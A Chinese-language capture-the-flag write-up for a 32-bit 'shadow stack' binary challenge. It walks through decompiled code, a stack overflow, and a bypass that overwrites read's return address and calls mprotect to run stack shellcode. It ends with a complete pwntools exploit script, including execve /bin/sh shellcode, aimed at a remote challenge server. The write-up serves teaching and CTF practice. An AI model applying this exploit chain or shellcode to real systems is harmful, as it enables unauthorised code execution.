影子栈 shadow stack
刚开始没注意到,因为程序看上去很难算懂,每个调用都用call实现,先大概找到流程。
int __cdecl message(int a1, int a2, int a3)
{
unsigned int j; // eax
const char *v5; // [esp+4h] [ebp-54h]
int v6; // [esp+8h] [ebp-50h]
char *v9; // [esp+14h] [ebp-44h]
int i; // [esp+24h] [ebp-34h]
char v11[32]; // [esp+2Ch] [ebp-2Ch] BYREF
unsigned int v12; // [esp+4Ch] [ebp-Ch]
v12 = __readgsdword(0x14u);
for ( i = 0; i < a3; ++i )
{
for ( j = 0; j < 0x20; j += 4 )
*(_DWORD *)&v11[j] = 0;
if ( call((int (__cdecl *)(void *))strlen) )
{
call((int (__cdecl *)(void *))printf); // 1
call((int (__cdecl *)(void *))getnline);
}
if ( !call((int (__cdecl *)(void *))strlen) || v11[0] == 121 )
{
call((int (__cdecl *)(void *))printf); // input name
call((int (__cdecl *)(void *))getnline); // name xxxx
}
call((int (__cdecl *)(void *))printf);
call((int (__cdecl *)(void *))getnline);
call((int (__cdecl *)(void *))atoi);
call((int (__cdecl *)(void *))printf);
call((int (__cdecl *)(void *))getnline);
v9 = v11;
v6 = i + 1;
v5 = "(%d/%d) <%s> %s\n\n";
call((int (__cdecl *)(void *))printf); // 输出
}
return ((int (__cdecl *)(_DWORD, const char *, int, int, int, char *))ret)(0, v5, v6, a3, a1, v9);
}
确定了哪步是干啥的,程序大概就能看明白了。先是判断是否读入然后读入name,然后read不限长度读入msg,判断退出。其中name指针在msg前边覆盖不到,向后可以覆盖到:
canary,ebp,ret,name_ptr,name_size,循环最大值等。
所以这前边就比较简单,一开始给3次,这3次没完成前不返回上一级函数,所以栈被破坏不会报错。可以先获得canary,ebp,libc 。
但后边发现有个问题,这里使用了shadow stack在函数返回里会调用影子栈实现,所以不能直接使用rop 。
网上搜到一个exp一看恍然大悟。他用了个更简单的方法:
在调用read函数返回时并这里并没有设置保护(只有在main和message里程序作了设置,内部调用没有保护),所以通过修改name修改read的返回地址,在这里通过mprotect设置栈可执行(rwx)然后在返回时跳到shellcode执行。
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('www.bmzclub.cn', 21355)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386')
'''
0016| 0xffffd068 --> 0xffffd0d0 ("AAAABBBB") #ptr->name
0020| 0xffffd06c --> 0xffffd084 ("XXXXXXXX") #ptr->msg
0044| 0xffffd084 ("XXXXXXXX") #msg
0076| 0xffffd0a4 --> 0x173c9e00 #canary
0080| 0xffffd0a8 --> 0x0
0084| 0xffffd0ac --> 0xf7fce000 --> 0x1afdb0
0088| 0xffffd0b0 --> 0xffffd11c --> 0xffffd148 --> 0x0 #ebp
0092| 0xffffd0b4 --> 0x8048d1b --> 0x8908ec83 #ret
0096| 0xffffd0b8 --> 0xffffd0d0 ("AAAABBBB") #ptr->name
0100| 0xffffd0bc --> 0x10 #name.len
0104| 0xffffd0c0 --> 0x3 #max times
0120| 0xffffd0d0 ("AAAABBBB") #name
0244| 0xffffd14c --> 0xf7e36637 (<__libc_start_main+247>) #libc_start_main_ret
'''
context.log_level='debug'
p.sendafter(b'Input name : ', b'A'*16)
#get stack
padding = b'x'*0x34
p.sendafter(b'Message length : ', b'-1')
p.sendafter(b'Input message : ', padding)
p.recvuntil(padding)
ptr_name = u32(p.recv(4))
ebp = ptr_name + 0x4c
print('name:', hex(ptr_name))
p.sendafter(b'Change name? (y/n) : ', b'n')
#https://github.com/ispoleet/ctf-writeups/blob/master/mma_ctf_2016/shadow/shadow_expl.py
#bypass shadow
p.sendafter(b'Message length : ', b'-1')
p.sendafter(b'Input message : ', b'A'*0x20 + b'cana' +flat(0,0,ebp,0x8048d1b,ebp- 0x100,100,100))
#read.ret mprotect(ebp&0xfffff000, 7) set stack rwx
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p.sendafter(b'Input name : ', flat(elf.plt['mprotect'], ebp-0x100+0x30, ebp & 0xfffff000, 0x1000, 7)+ b'\x90'*0x20+shellcode)
p.sendline(b'cat /flag')
p.interactive()